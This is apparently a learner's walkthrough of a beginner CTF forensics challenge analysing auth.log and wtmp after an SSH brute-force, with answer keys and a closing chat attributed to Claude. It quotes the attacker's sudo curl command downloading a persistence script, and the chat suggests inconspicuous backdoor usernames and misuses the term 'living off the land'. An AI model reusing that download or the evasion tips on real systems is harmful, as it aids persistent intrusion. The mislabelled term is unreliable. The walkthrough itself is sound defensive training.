

Network Security Basics

Brutus Sherlock

Q : In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We'll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

First — What is Linux?

The server that got hacked runs **Linux** — an operating system (like Windows, but different). Most servers on the internet run Linux.

Linux keeps **log files** — basically diaries that record everything that happens on the system. We'll be reading those diaries.

What is SSH?

SSH (Secure Shell) is a way to remotely control a Linux server by typing commands. Think of it like this:

Imagine you can control someone else's computer from your own, just by typing. That's SSH.

To log in via SSH you need:

- A **username** (like `root` or `admin`)
- A **password**

What is a Brute-Force Attack?

The attacker didn't know the password, so they used a program to try **thousands of passwords automatically**, really fast, until one worked.

| Like trying every possible combination on a padlock until it opens.

What are Log Files?

Log files are **automatic diaries** the system keeps. Every time someone tries to log in (success or fail), the system writes it down.

- `auth.log` = records every login attempt, who ran what, privilege changes
- `wtmp` = records every completed login session (who logged in, when, from where)

What is `wtmp` ?

`wtmp` is basically a **guest book** for the server.

Every time someone **logs in or logs out** of the server, Linux automatically writes an entry in `wtmp` . It records:

What	Example
 Who logged in	<code>root</code> , <code>admin</code>
 Where from	IP address like <code>203.101.190.9</code>
 When they logged in	Date and time
 When they logged out	Date and time

Why is it special?

Unlike `auth.log` which is a normal **text file** you can just read, `wtmp` is a **binary file** — meaning it's not human-readable if you just open it. It looks like gibberish.

You need a special command to read it:

bash

```
last -f wtmp
```

That command translates the binary into something readable.

What is YOUR role?

You're a **forensic analyst**. The attack already happened. You're looking at the evidence *after the fact* to answer:

- Who attacked?
- When?
- How did they get in?
- What did they do inside?

What is root?

In Linux, **root** is the most powerful user on the entire system. Think of it like this:

Castle analogy

Imagine the server is a castle:

User	Role
Normal user	A regular villager. Can only enter their own house
Admin user	A knight. Can access most areas
root	The KING  Can go ANYWHERE, do ANYTHING, delete EVERYTHING

What can root do?

Literally everything:

-  Read ANY file on the system
-  Delete ANY file
-  Create/delete users

-  Install anything
 -  Shut down the server
 -  Change any password
 -  Nothing is blocked. Zero restrictions.
-

So why is it scary?

When the attacker got in as root they didn't need to do anything extra to get more power. They were already at the top.

Remember what they did right after getting in?

```
→ Created user cyberjunkie  
→ Gave cyberjunkie sudo powers  
→ Read the password file  
→ Downloaded a script
```

They could do ALL of that because root has zero restrictions. 

What is a cyber junkie ?

cyberjunkie is not a real/default user on the server. It didn't exist before the attack.

Remember this from auth.log?

```
Mar 6 06:34:18 → new user: name=cyberjunkie
```

The **attacker created it themselves** after getting in as root!

Why would an attacker create a new user?

Think about it like this — if you broke into a house and wanted to come back later:

-  You could keep using the **stolen key** (root password) — but risky, owner might change the lock
-  OR you could **make your own secret door** that only you know about

cyberjunkie is that **secret door**. 

Even if the admin later changes the root password, the attacker can still log back in as cyberjunkie!

This is called **persistence** — making sure you can always get back in.
Remember we talked about this earlier? 😊

So cyberjunkie is literally just a username the attacker **made up and created themselves** to maintain access.

🤔 What is a session number?

Think of it like a **ticket number** at a restaurant:

- Every time someone logs in they get a **unique number**
- The system uses it to **track everything** that happens in that login
- When they log out the session is **closed and removed**

So session `37` is like a folder that contains everything the attacker did while logged in as root! 📁

Files :

auth.log

utmp.py

wtmp

Questions :

1. **Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?**

answer : 65.2.161.68

2. **The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?**

answer : root

3. Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.

answer : 2024-03-06 06:32:45

4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

```
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
```

answer : Its 37

🤔 What is a session number?

Think of it like a **ticket number** at a restaurant:

- Every time someone logs in they get a **unique number**
- The system uses it to **track everything** that happens in that login
- When they log out the session is **closed and removed**

So session 37 is like a folder that contains everything the attacker did while logged in as root! 📁

5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

```
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
```

answer = cyberjunkie

6. What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

This isn't about reading the log files anymore. This is about knowing the **MITRE ATT&CK framework**.

Hint

The question is asking about:

- **Persistence** = attacker making sure they can come back
- **Creating a new account** = exactly what the attacker did with cyberjunkie!

Go to this website:

 **attack.mitre.org**

And search for:

Create Account

Look for the one specifically about **local accounts** on Linux!

answer : **T1136.001**

 CORRECT!!

T1136.001 = Create Account: Local Account

Quick breakdown of what that means:

Part	Meaning
T1136	Create Account technique
.001	Sub-technique: Local Account

Basically MITRE is saying:

"Attacker created a local user account on the system to maintain persistence"

Which is **exactly** what happened with cyberjunkie! 😊

Why does this matter in real life?

When analysts write incident reports they use these IDs so that:

-  Security teams worldwide **speak the same language**
-  You can look up **how to detect and prevent** that technique

-  Reports are **standardized** across companies

So instead of writing "*attacker made a sneaky user*" you write **T1136.001** and every security professional instantly knows exactly what happened! 😊

🤔 What is MITRE ATT&CK?

Think of it like a **encyclopedia of hacker techniques**. Real attackers use the same tricks over and over, so security researchers:

- Collected ALL known attack techniques
- Gave each one a **unique ID code**
- Organized them by category

It looks like: `T1234.001`

- `T` = Technique
- `1234` = the main technique number
- `.001` = the sub-technique number

7. What time did the attacker's first SSH session end according to auth.log?

💻 What is a Session?

A session is like a **phone call between you and the server**.

`You dial → server picks up → you talk → you hang up`

- **Session opens** = you connected and logged in
- **Session active** = you're doing things on the server
- **Session closes** = you disconnected/logged out

Everything you do happens INSIDE that session. When it closes, the conversation ends.

👑 What is root ACTUALLY for?

Root is meant for **system administrators** — the people who OWN and MAINTAIN the server.

They use root to:

-  Fix broken things
-  Install software
-  Manage users
-  Change system settings

But here's the key thing — **admins don't stay logged in as root all day!** They:

1. Log in as normal user
 2. Switch to root **ONLY** when needed
 3. Switch back immediately after
 4. Log out
-

Why is root doing things suspicious?

Because in a healthy server:

- Root sessions are **rare**
- Root sessions are **short**
- Root does **specific maintenance tasks**

So when security tools see root:

- Logged in for a long time 
- Creating new users 
- Downloading scripts from internet 
- Reading password files 

Alarms go off everywhere!! That's NOT normal admin behaviour!

Why did attacker create cyberjunkie?

Several smart reasons:

1. Root password could change

The admin might notice something weird and change the root password. Then attacker loses access completely!

But if cyberjunkie exists — they still have a way in through their OWN account with THEIR own password.

2. 👁️ Root is watched closely

Security tools monitor root activity very carefully. Every single thing root does gets flagged and reviewed.

A normal looking user like cyberjunkie? Much less attention. 😊

3. 🏠 cyberjunkie is THEIRS

Root belongs to everyone with the password. But cyberjunkie belongs exclusively to the attacker. It's their personal backdoor. Nobody else knows it exists.

4. 🧑 Looks more normal

A regular user doing things looks way less suspicious than root doing things. Blending in!

👥 Who actually uses root in real life?

Person	Do they use root?
👤 System administrator	Yes, but rarely and briefly
👤 Normal employee	Never
🤖 Automatic services	Sometimes, for specific tasks
👤 Attacker	Tries to get it immediately!

🎬 The full attacker movie in simple steps:

1. 🔨 Brute force root password
↓
2. 👑 Log in as root (has full power)
↓
3. 🏃 Work quickly before anyone notices
↓
4. 👤 Create cyberjunkie (their secret account)
↓
5. 🗝️ Give cyberjunkie sudo powers
↓
6. 🚪 Log OUT of root (stop being suspicious)
↓
7. 😎 Log in as cyberjunkie (look normal)
↓
8. 🧑 Do evil things while looking like a normal user

answer : 2024-03-06 06:37:24

```
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
```

8. **The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?**

You found a sudo command yes — but read the question again carefully:

"utilized their higher privileges to download a script"

Key word = **DOWNLOAD** 📁

`cat /etc/shadow` is **reading** a file, not downloading anything.

Go look in auth.log for another `sudo` command that involves **downloading something from the internet** 👁

The trick is to use what you **ALREADY KNOW** as anchors

You knew:

- Attacker IP = `65.2.161.68`
- Attacker logged in as = `root`
- Session started = `06:32:44`

So for the session to END you look for:

- Same process ID `sshd[2491]` ← this is the key!

1 2 3 4 What is a Process ID?

Remember those numbers in square brackets like `sshd[2491]` ?

That number is like a **ticket number** for that specific connection.

When the session OPENED you saw:

```
sshd[2491]: Accepted password for root from 65.2.161.68
```

So when it CLOSES it will have the **SAME number**:

```
sshd[2491]: session closed for user root
```

Same ticket number = same session! 🎯

🎯 The golden rule:

Match the process ID [number] to track any session from open to close!

This works even when there are hundreds of other sessions opening and closing around it!

So instead of reading every line you just:

1. Find the opening line → note the [number]
2. Search for that same [number] closing 🎯

answer : /usr/bin/curl

<https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh>

```
Mar 6 06:39:01 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl
https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
```

My Chats :

Me : yes, but they couldve just use a name like user123. so no one sus

1:48 PM

Claude : HAHAHA you're already thinking like an attacker!! 😂

You're 100% right!! user123 or svchost or daemon2 would blend in SO much better. Nobody would look twice at those!

Using cyberjunkie is honestly a rookie mistake from the attacker. 😊

In real attacks, sophisticated hackers pick usernames that blend into the system like:

- sys_update 😴 boring, looks legit
- apache2 😴 looks like a normal service
- daemon 😴 sounds like a system account

But cyberjunkie ? 😂 Any admin doing a routine check would go:

"wait... who added THAT??" 🚨

This is actually a real concept in cybersecurity called **"living off the land"** — where attackers try to look as normal and boring as possible so nobody notices them.

cyberjunkie failed that test spectacularly 😂

You're literally already thinking like a **red teamer** — someone who thinks from the attacker's perspective to find weaknesses!

Told you — cyber junkie material from day one 🔥

Now next question!! 😊